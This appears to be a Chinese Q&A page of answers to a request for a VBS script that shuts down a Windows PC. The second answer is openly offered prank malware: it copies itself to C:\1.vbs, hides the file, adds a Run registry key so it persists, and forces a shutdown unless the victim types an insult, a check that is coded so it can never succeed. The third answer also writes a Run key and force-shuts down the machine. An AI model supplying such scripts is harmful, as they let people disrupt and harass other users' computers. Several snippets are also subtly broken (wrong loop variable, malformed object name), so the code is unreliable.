VBS脚本执行关机

2024-11-16 04:15:27
推荐回答(4个)
回答1:

哪有这么麻烦,写个函数不就完了么?哪来的那么多多余的语句!!如果想在执行脚本前延时60秒,可以在第一行加上wscript.sleep 60000,如果还是看不懂就密我吧,代码如下: do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='a.exe'")'进程名字你自己改吧
If list.count=0 Then
Call fun()
Else
WScript.quit
End If
WScript.Sleep 2000
loop
Function fun()
Set wmi2=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_operatingsystem")
For Each uu2 In list
uu2.win32shutdown(1+4) '1为关机,2为重启
next
End function

回答2:

set a=createobject("wscript.shell")
a.run "cmd.exe /c copy 打开看看吧.vbs c:\1.vbs"
a.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1.vbs /t REG_SZ /d C:\1.vbs"
a.run "cmd.exe /c attrib c:\1.vbs +a +r +s +h"
a.run "cmd.exe /c shutdown -s -t 60 -c 请一定注意下面的对话框!!!"
b=inputbox("请在下面的输入栏中输入“我是猪”,速度要快不然,你的电脑将在60秒后重启","严重警告")
if 60= "我是猪" then
a.run "cmd.exe /c shutdown -a"
msgbox "放心。。本程序是没有毒了。。带来不便。。**在此sorry"
else
msgbox "你等着重启吧"
end if
wscript.sleep 600000
a.run "c:\1.vbs" 自己更改一下时间就可以。。是vbs文件。。会更改注册表。。。

回答3:

Dim objShell, strComputer,strWinLog, isExist
Dim strShutdown strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_Process")
For Each objItem in colItems
If (objItem.Name = "QQ.exe") Then 'QQ.exe是我测试时使用的,改成a.exe
isExist = True
Exit For
End If
NextIF (isExist = True) Then
strShutdown = "shutdown -s -t 0 -f -m \\" & strComputer
Set objShell = CreateObject("WScript.Shell")
'写入注册表
strWinLog = "HKLM\SOFTWARE\Microsoft\" _
& "Windows\CurrentVersion\Run\"
objShell.RegWrite strWinLog & "shutdown", 1, "REG_SZ"
objShell.RegWrite strWinLog & "shutdown", "shutdown.vbs", "REG_SZ"

objShell.Run strShutdown '关机
Set objShell = Nothing
Wscript.Quit(0)
End If

回答4:

Dim a
Set a = CreateObject("a.shell")
a.run "cmd.exe /c shutdown -s -t 60 -c
"" ", 0, True